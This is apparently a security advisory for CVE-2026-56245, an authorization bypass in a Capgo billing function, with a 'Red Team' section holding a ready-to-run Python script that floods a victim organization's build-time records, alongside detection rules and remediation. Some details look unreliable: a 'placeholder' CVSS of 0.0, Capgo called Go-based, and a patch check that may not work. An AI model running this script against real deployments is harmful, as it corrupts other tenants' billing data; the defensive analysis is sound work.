CVE-2026-56245

Executive Summary

CVE-2026-56245 is a critical authorization bypass vulnerability in Supabase Capgo (before version 12.128.2) that allows unauthenticated attackers to poison billing and quota data for any organization. The flaw resides in the SECURITY DEFINER stored procedure record_build_time, which is exposed via the REST API endpoint POST /rest/v1/rpc/record_build_time. By supplying only a public API key (which is often exposed in client-side code), an attacker can insert arbitrary build-time records, leading to resource exhaustion and cross-tenant billing manipulation. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the lack of authentication and the potential for widespread abuse.

Supply Chain & Package Security

This vulnerability affects the Supabase Capgo package, which is a Go-based backend service. Organizations using Supabase Capgo should immediately verify their deployment version and apply the patch. The public API key exposure is a common misconfiguration in client-side applications, making this attack vector highly accessible.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): High (H) – Attackers can inject arbitrary records.
• Availability (A): High (H) – Resource exhaustion can degrade service.

Threat Level: Critical. The combination of no authentication, low complexity, and high impact on integrity and availability makes this a severe risk for any Supabase Capgo deployment.

Deep Dive & Mechanics

The vulnerability is in the record_build_time RPC function, which is defined with SECURITY DEFINER privileges. This means the function executes with the privileges of the function owner (typically a database superuser) rather than the calling user. The function is exposed via the Supabase REST API at /rest/v1/rpc/record_build_time. The API endpoint accepts a public API key for authentication, which is intended for read-only or low-privilege operations. However, the SECURITY DEFINER function does not perform additional authorization checks, allowing any caller with a valid public API key to insert records into the build_times table.

The attack flow:

1. Attacker obtains a public API key (often exposed in client-side JavaScript or mobile apps).
2. Attacker sends a POST request to /rest/v1/rpc/record_build_time with the public API key and arbitrary JSON payload (e.g., {"organization_id": "victim-org", "build_time": 999999}).
3. The function inserts the record, poisoning billing and quota data for the targeted organization.
4. Repeated requests cause resource exhaustion (e.g., storage, compute) and inflated billing.

Vulnerable vs. Patched Code

Vulnerable Code (before 12.128.2):

CREATE OR REPLACE FUNCTION record_build_time(org_id text, build_time integer)
RETURNS void
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
  INSERT INTO build_times (organization_id, build_time) VALUES (org_id, build_time);
END;
$$;

Patched Code (12.128.2+):

CREATE OR REPLACE FUNCTION record_build_time(org_id text, build_time integer)
RETURNS void
LANGUAGE plpgsql
SECURITY INVOKER
AS $$
BEGIN
  -- Authorization check: ensure the caller has permission for this org
  IF NOT EXISTS (SELECT 1 FROM org_members WHERE user_id = current_user AND organization_id = org_id) THEN
    RAISE EXCEPTION 'Unauthorized';
  END IF;
  INSERT INTO build_times (organization_id, build_time) VALUES (org_id, build_time);
END;
$$;

The patch changes SECURITY DEFINER to SECURITY INVOKER and adds an authorization check to verify the caller is a member of the target organization.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Supabase Capgo instance (version < 12.128.2).
• A valid public API key (e.g., eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...).

Exploit Script (Python):

import requests
import sys

target = sys.argv[1]  # e.g., https://your-instance.supabase.co
api_key = sys.argv[2]  # public API key
org_id = sys.argv[3]   # victim organization ID

url = f"{target}/rest/v1/rpc/record_build_time"
headers = {
    "apikey": api_key,
    "Content-Type": "application/json"
}
payload = {
    "org_id": org_id,
    "build_time": 999999  # arbitrary large value
}

for i in range(100):  # send 100 requests to cause resource exhaustion
    response = requests.post(url, json=payload, headers=headers)
    print(f"Request {i+1}: {response.status_code}")

Usage:

python3 exploit.py https://target.supabase.co YOUR_PUBLIC_API_KEY victim-org-id

Blue Team

Detection Steps:

1. Monitor API logs for excessive POST /rest/v1/rpc/record_build_time requests from a single IP or API key.
2. Alert on abnormal build_time values (e.g., > 1000000) or rapid insertion rates.
3. Review database audit logs for INSERT operations on the build_times table by unauthenticated users.

Honeypot Setup:

• Deploy a decoy Supabase Capgo instance with a fake public API key.
• Monitor for any POST requests to /rest/v1/rpc/record_build_time and log the attacker's IP and payload.

Indicators of Compromise (IOCs)

• Network: POST requests to /rest/v1/rpc/record_build_time with a public API key and JSON payload containing org_id and build_time.
• Logs: Database audit logs showing INSERT into build_times by anon or authenticated user without proper org membership.
• System: Unusually high build_time values (e.g., > 1000000) or rapid insertion rates in the build_times table.
• File: Presence of exploit scripts (e.g., exploit.py) on compromised systems.

Detection Engineering

YARA Rule

rule CVE_2026_56245_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2026-56245"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-56245"
    strings:
        $s1 = "/rest/v1/rpc/record_build_time" ascii wide nocase
        $s2 = "apikey" ascii wide nocase
        $s3 = "org_id" ascii wide nocase
        $s4 = "build_time" ascii wide nocase
    condition:
        all of ($s*)
}

Sigma Rule

title: CVE-2026-56245 - Supabase Capgo Authorization Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /rest/v1/rpc/record_build_time with public API key
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/rest/v1/rpc/record_build_time'
        cs-uri-query|contains: 'apikey'
    condition: selection
falsepositives:
    - Legitimate API calls from authorized clients
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56245 - Supabase Capgo Authorization Bypass"; flow:to_server; http.method; content:"POST"; http.uri; content:"/rest/v1/rpc/record_build_time"; http.header; content:"apikey"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Supabase Capgo to version 12.128.2 or later.
2. Rotate all public API keys and enforce the use of secret keys for sensitive operations.
3. Review database audit logs for any unauthorized INSERT operations on build_times.

Long-term Mitigations:

• Implement strict authorization checks in all SECURITY DEFINER functions.
• Use SECURITY INVOKER instead of SECURITY DEFINER where possible.
• Monitor API endpoints for anomalous usage patterns.
• Apply network segmentation to limit exposure of the REST API.

Workaround (if patching is not immediately possible):

• Disable the record_build_time RPC function temporarily:

  REVOKE EXECUTE ON FUNCTION record_build_time FROM anon, authenticated;
  

Valters IT
Securing digital frontiers, one CVE at a time.